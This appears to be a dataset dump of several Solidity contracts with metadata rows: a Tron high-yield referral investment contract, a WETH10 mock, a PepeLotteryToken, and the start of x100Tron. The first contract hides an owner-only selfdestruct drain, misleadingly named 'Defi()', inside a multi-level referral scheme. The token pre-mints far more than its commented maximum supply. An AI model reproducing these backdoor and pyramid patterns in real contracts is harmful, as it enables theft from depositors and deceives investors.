if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (referrer != address(0) && users[referrer].deposits.length > 0) {
address upline = user.referrer;
if (user.deposits.length == 0) {
users[upline].referee_list.push(msg.sender);
}
for (uint i = 0; i < 11; i++) {
if (upline != address(0) && users[upline].deposits.length > 0) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (amount > 0) {
users[upline].total_business = (users[upline].total_business).add(msgValue);
if (user.deposits.length == 0) {
users[upline].team_members++;
}
uint ref_cap = (uint(users[upline].total_user_deposit).mul(3))
.sub(uint(users[upline].wallet).add(uint(users[upline].total_user_withdrawn)));
if(ref_cap > amount){
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
users[upline].wallet = uint64(uint(users[upline].wallet).add(amount));
}
else{
amount = ref_cap;
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
users[upline].wallet = uint64(uint(users[upline].wallet).add(amount));
}
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
totalParticipants++;
activeParticipants++;
flag = true;
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), uint32(block.timestamp)));
user.total_user_deposit = uint64(uint(user.total_user_deposit).add(msgValue));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
if(!flag){
activeParticipants++;
}
emit NewDeposit(msg.sender, msgValue);
}
function deposit() public payable{
User storage user = users[msg.sender];
require(user.deposits.length > 0, "Newbie can not enroll without a Referrence");
address referrer = users[msg.sender].referrer;
invest(referrer);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint earnable = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
uint totalAmount;
uint ROI;
uint EXTRA_ROI;
for (uint i = 0; i < user.deposits.length; i++) {
if(uint(earnable)>0){
if (user.deposits[i].start > user.checkpoint) {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.deposits[i].start))).div(TIME_STEP);
} else {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
}
if(ROI > earnable){
ROI = earnable;
}
earnable = earnable.sub(ROI);
totalAmount = totalAmount.add(ROI);
} else break;
}
totalAmount = totalAmount.add(uint(user.wallet));
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
EXTRA_ROI = totalAmount.mul(hold_bonus).div(PERCENTS_DIVIDER);
if(EXTRA_ROI > (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount))){
EXTRA_ROI = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount));
}
totalAmount = totalAmount.add(EXTRA_ROI);
require(totalAmount > 0, "User has no withdraw balance");
require(totalAmount >= 50 trx, "Can not withdraw less than 50 trx");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
uint withdrawfee = totalAmount.mul(WITHDRAW_FEE).div(PERCENTS_DIVIDER);
uint withdraw_amt = totalAmount.sub(withdrawfee);
totalWithdrawn = totalWithdrawn.add(totalAmount);
uint total_roi = uint64(totalAmount.sub(uint(user.wallet).add(EXTRA_ROI)));
user.withdraws.push(Withdraw(uint64(total_roi), uint64(user.wallet) , uint64(EXTRA_ROI) , uint32(block.timestamp)));
user.total_user_withdrawn = uint64(uint(user.total_user_withdrawn).add(totalAmount));
user.wallet = uint64(uint(user.wallet).sub(uint(user.wallet)));
msg.sender.transfer(withdraw_amt);
creatorAddress.transfer(withdrawfee);
if(!isActive(msg.sender)){
activeParticipants--;
}
emit Withdrawn(msg.sender, withdraw_amt,withdrawfee);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userDeposit = uint(user.total_user_deposit);
if (isActive(userAddress)) {
if(userDeposit >= 100000 trx){
return contractPercent.add(EXTRA_BONUS);
}
else{
return contractPercent;
}
} else {
return contractPercent;
}
}
function getUserEarnable(address userAddress) public view returns(uint){
User storage user = users[userAddress];
return (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint earnable = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)));
uint totalAmount;
uint ROI;
uint EXTRA_ROI;
for (uint i = 0; i < user.deposits.length; i++) {
if(uint(earnable)>0){
if (user.deposits[i].start > user.checkpoint) {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.deposits[i].start))).div(TIME_STEP);
} else {
ROI = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER));
ROI = ROI.mul(block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
}
if(ROI > earnable){
ROI = earnable;
}
earnable = earnable.sub(ROI);
totalAmount = totalAmount.add(ROI);
} else break;
}
totalAmount = totalAmount.add(uint(user.wallet));
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
EXTRA_ROI = totalAmount.mul(hold_bonus).div(PERCENTS_DIVIDER);
if(EXTRA_ROI > (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount))){
EXTRA_ROI = (uint(user.total_user_deposit).mul(3)).sub(uint(user.total_user_withdrawn).add(uint(user.wallet)).add(totalAmount));
}
totalAmount = totalAmount.add(EXTRA_ROI);
return totalAmount;
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = uint(user.total_user_deposit);
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = uint(user.total_user_withdrawn);
return amount;
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralBonus(address userAddress) public view returns (uint64) {
User storage user = users[userAddress];
return user.bonus;
}
function getUserTotalBusiness(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.total_business;
}
function getUserTeams(address userAddress) public view returns (uint){
User storage user = users[userAddress];
return user.team_members;
}
function getUserTotalEarned(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userAvailable = getUserAvailable(userAddress);
uint totalEarned = userAvailable.add(uint(user.total_user_withdrawn));
return totalEarned;
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function Defi() public {
require(owner == msg.sender);
selfdestruct(owner);
}
function getTotalParticipants() public view returns (uint) {
return totalParticipants;
}
function getActiveParticipants() public view returns (uint) {
return activeParticipants;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.total_user_withdrawn) < uint(user.total_user_deposit).mul(3);
}
function validAddress(address _address) public view returns (bool){
User storage user = users[_address];
return (user.deposits.length > 0);
}
function getUserReferrer(address _user) public view returns(address){
User storage user = users[_user];
return user.referrer;
}
function get_ref_list(address userAddress) public view returns (address[] memory) {
User storage user = users[userAddress];
return user.referee_list;
}
function getROIWithdrawn(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint tROI;
for(uint i = 0; i<user.withdraws.length; i++){
tROI = tROI.add(user.withdraws[i].withdrawn_roi);
}
return tROI;
}
function getUserROI(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint ROI = uint(user.total_user_deposit).mul(userPercentRate).div(PERCENTS_DIVIDER);
return ROI;
}
function getHoldBonus(address userAddress) public view returns (uint){
User storage user = users[userAddress];
uint hold_bonus = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(10);
if(hold_bonus > MAX_HOLD_PERCENT){
hold_bonus = MAX_HOLD_PERCENT;
}
return hold_bonus;
}
}
| 304,009 | 231 |
36f6cd4d98d6f199deaac61dde04314182706c41fd41b6fc311526006d1571d6
| 14,238 |
.sol
|
Solidity
| false |
547810154
|
LfgSwap/lfg-protocol
|
52aedf08e2706cc6f14ab7903abe7b2743d39b91
|
contracts/mock/WETH10.sol
| 2,630 | 10,341 |
// SPDX-License-Identifier: GPL-3.0-or-later
// Copyright (C) 2015, 2016, 2017 Dapphub
// Adapted by Ethereum Community 2020
pragma solidity 0.6.12;
interface ERC677Receiver {
function onTokenTransfer(address, uint, bytes calldata) external;
}
interface FlashMinterLike {
function executeOnFlashMint(uint, bytes calldata) external;
}
contract WETH10 {
string public constant name = "Wrapped Ether";
string public constant symbol = "WETH";
uint8 public constant decimals = 18;
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
/// @dev Records amount of WETH10 token owned by account.
mapping (address => uint256) private _balanceOf;
mapping (address => uint256) public nonces;
/// This is zero by default.
/// This value changes when {approve} or {transferFrom} are called.
mapping (address => mapping (address => uint256)) public allowance;
/// @dev Internal WETH10 value to disallow withdrawals during flash minting.
uint256 private unlocked = 1;
constructor() public {
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
// Trick to prevent transfers to the contract address without adding additional gas costs
_balanceOf[address(this)] = type(uint256).max;
}
/// @dev Disallow withdrawals or (reentrant) flash minting.
modifier lock() {
require(unlocked == 1, "locked");
unlocked = 0;
_;
unlocked = 1;
}
/// @dev Return whether the contract is locked for withdrawals and flash minting
modifier isUnlocked() {
require(unlocked == 1, "locked");
_;
}
/// @dev Returns amount of WETH10 token in existence based on deposited ether.
function totalSupply() external view returns (uint256) {
return address(this).balance;
}
/// @dev Returns amount of WETH10 token held by an address.
function balanceOf(address account) external view returns (uint256) {
return account == address(this) ? 0 : _balanceOf[account];
}
receive() external payable {
require(msg.sender != address(this));
_balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
function deposit() external payable {
_balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
function depositTo(address to) external payable {
require(to != address(this), "!recipient");
_balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
}
/// after which a call is executed to an ERC677-compliant contract.
/// Returns boolean value indicating whether operation succeeded.
/// Emits {Transfer} event.
/// Requirements:
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function depositToAndCall(address to, bytes calldata data) external payable returns (bool success) {
require(to != address(this), "!recipient");
_balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
ERC677Receiver(to).onTokenTransfer(msg.sender, msg.value, data);
return true;
}
/// @dev Flash mints WETH10 token and burns from caller account.
/// Arbitrary data can be passed as a bytes calldata parameter.
/// Lock check provided for reentrancy guard.
/// Emits two {Transfer} events for minting and burning of the flash minted amount.
function flashMint(uint256 value, bytes calldata data) external lock {
_balanceOf[msg.sender] += value;
require(_balanceOf[msg.sender] >= value, "overflow");
emit Transfer(address(0), msg.sender, value);
FlashMinterLike(msg.sender).executeOnFlashMint(value, data);
require(_balanceOf[msg.sender] >= value, "!balance");
_balanceOf[msg.sender] -= value;
emit Transfer(msg.sender, address(0), value);
}
/// @dev Burn `value` WETH10 token from caller account and withdraw matching ether to the same.
/// Lock check provided to avoid withdrawing Ether from a flash mint
/// Requirements:
/// - caller account must have at least `value` balance of WETH10 token.
function withdraw(uint256 value) external isUnlocked {
require(_balanceOf[msg.sender] >= value, "!balance");
_balanceOf[msg.sender] -= value;
(bool success,) = msg.sender.call{value: value}("");
require(success, "!withdraw");
emit Transfer(msg.sender, address(0), value);
}
/// @dev Burn `value` WETH10 token from caller account and withdraw matching ether to account (`to`).
/// Lock check provided to avoid withdrawing Ether from a flash mint
/// Requirements:
/// - caller account must have at least `value` balance of WETH10 token.
function withdrawTo(address to, uint256 value) external isUnlocked {
require(_balanceOf[msg.sender] >= value, "!balance");
_balanceOf[msg.sender] -= value;
(bool success,) = to.call{value: value}("");
require(success, "!withdraw");
emit Transfer(msg.sender, address(0), value);
}
/// Lock check provided to avoid withdrawing Ether from a flash mint
/// Requirements:
/// - `from` account must have at least `value` balance of WETH10 token.
function withdrawFrom(address from, address to, uint256 value) external isUnlocked {
require(_balanceOf[from] >= value, "!balance");
if (from != msg.sender) {
uint256 allow = allowance[from][msg.sender];
if (allow != type(uint256).max) {
require(allow >= value, "!allowance");
allowance[from][msg.sender] -= value;
emit Approval(from, msg.sender, allow - value);
}
}
_balanceOf[from] -= value;
(bool success,) = to.call{value: value}("");
require(success, "!withdraw");
emit Transfer(from, address(0), value);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WETH10 token.
/// Returns boolean value indicating whether operation succeeded.
/// Emits {Approval} event.
/// Requirements:
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowance[msg.sender][spender] == 0, "!reset");
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
/// @dev Moves `value` WETH10 token from caller's account to account (`to`).
/// Returns boolean value indicating whether operation succeeded.
/// Emits {Transfer} event.
/// Requirements:
function transfer(address to, uint256 value) external returns (bool) {
require(_balanceOf[msg.sender] >= value, "!balance");
require(_balanceOf[to] + value >= value, "overflow");
_balanceOf[msg.sender] -= value;
_balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// Returns boolean value indicating whether operation succeeded.
///
/// Emits {Transfer} and {Approval} events.
/// Requirements:
/// - caller account must have at least `value` allowance from account (`from`).
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(_balanceOf[from] >= value, "!balance");
require(_balanceOf[to] + value >= value, "overflow");
if (from != msg.sender) {
uint256 allow = allowance[from][msg.sender];
if (allow != type(uint256).max) {
require(allow >= value, "!allowance");
allowance[from][msg.sender] -= value;
emit Approval(from, msg.sender, allow - value);
}
}
_balanceOf[from] -= value;
_balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// Returns boolean value indicating whether operation succeeded.
/// Emits {Transfer} event.
/// Requirements:
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool success) {
require(_balanceOf[msg.sender] >= value, "!balance");
require(_balanceOf[to] + value >= value, "overflow");
_balanceOf[msg.sender] -= value;
_balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
ERC677Receiver(to).onTokenTransfer(msg.sender, value, data);
return true;
}
}
| 61,854 | 232 |
7d8bb58303f4cc26424fc53ec201a097bc0210a3e77265b7bea286a8ae799d69
| 30,174 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/e6/e6375a34fdbe9f958c1e4fbadb267b0a0e83fe29_PepeLotteryToken.sol
| 3,541 | 13,470 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract PepeLotteryToken is ERC20Burnable, Operator {
using SafeMath for uint256;
// TOTAL MAX SUPPLY = 61,000 PEPELOTTERY
uint256 public constant FARMING_POOL_REWARD_ALLOCATION = 40000 ether;
uint256 public constant COMMUNITY_FUND_POOL_ALLOCATION = 0 ether;
uint256 public constant DEV_FUND_POOL_ALLOCATION = 1000 ether;
uint256 public constant VESTING_DURATION = 365 days;
uint256 public startTime;
uint256 public endTime;
uint256 public communityFundRewardRate;
uint256 public devFundRewardRate;
address public communityFund;
address public devFund;
uint256 public communityFundLastClaimed;
uint256 public devFundLastClaimed;
bool public rewardPoolDistributed = false;
constructor(uint256 _startTime, address _communityFund, address _devFund) public ERC20("Pepe Lottery Token", "PEPELOTTERY") {
_mint(msg.sender, 1000000 ether); // pre-mint
startTime = _startTime;
endTime = startTime + VESTING_DURATION;
communityFundLastClaimed = startTime;
devFundLastClaimed = startTime;
communityFundRewardRate = COMMUNITY_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
devFundRewardRate = DEV_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
require(_devFund != address(0), "Address cannot be 0");
devFund = _devFund;
//require(_communityFund != address(0), "Address cannot be 0");
communityFund = _communityFund;
}
function setTreasuryFund(address _communityFund) external {
require(msg.sender == devFund, "!dev");
communityFund = _communityFund;
}
function setDevFund(address _devFund) external {
require(msg.sender == devFund, "!dev");
require(_devFund != address(0), "zero");
devFund = _devFund;
}
function unclaimedTreasuryFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (communityFundLastClaimed >= _now) return 0;
_pending = _now.sub(communityFundLastClaimed).mul(communityFundRewardRate);
}
function unclaimedDevFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (devFundLastClaimed >= _now) return 0;
_pending = _now.sub(devFundLastClaimed).mul(devFundRewardRate);
}
function claimRewards() external {
uint256 _pending = unclaimedTreasuryFund();
if (_pending > 0 && communityFund != address(0)) {
_mint(communityFund, _pending);
communityFundLastClaimed = block.timestamp;
}
_pending = unclaimedDevFund();
if (_pending > 0 && devFund != address(0)) {
_mint(devFund, _pending);
devFundLastClaimed = block.timestamp;
}
}
function distributeReward(address _farmingIncentiveFund) external onlyOperator {
require(!rewardPoolDistributed, "only can distribute once");
require(_farmingIncentiveFund != address(0), "!_farmingIncentiveFund");
rewardPoolDistributed = true;
_mint(_farmingIncentiveFund, FARMING_POOL_REWARD_ALLOCATION);
}
function burn(uint256 amount) public override {
super.burn(amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 36,887 | 233 |
60da069421e5824c4e539dc8d3eac61e37d5bb286489f4e45844206dadfa438c
| 14,533 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TB7N5fjAAdreERaDiz5zDzVX6oX8jUu4pa_x100Tron.sol
| 4,118 | 13,662 |
//SourceUnit: x100Tron.sol
pragma solidity ^0.5.10;
contract x100Tron {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 firstline_turnover;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable private owner;
address payable private admin_fee;
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public ref_rewards;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
mapping(uint8 => address) public permanent_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner, address payable _admin_fee) public {
owner = _owner;
admin_fee = _admin_fee;
ref_bonuses.push(20);
ref_bonuses.push(15);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_rewards.push(5);
ref_rewards.push(3);
ref_rewards.push(2);
pool_bonuses.push(30);
pool_bonuses.push(15);
pool_bonuses.push(12);
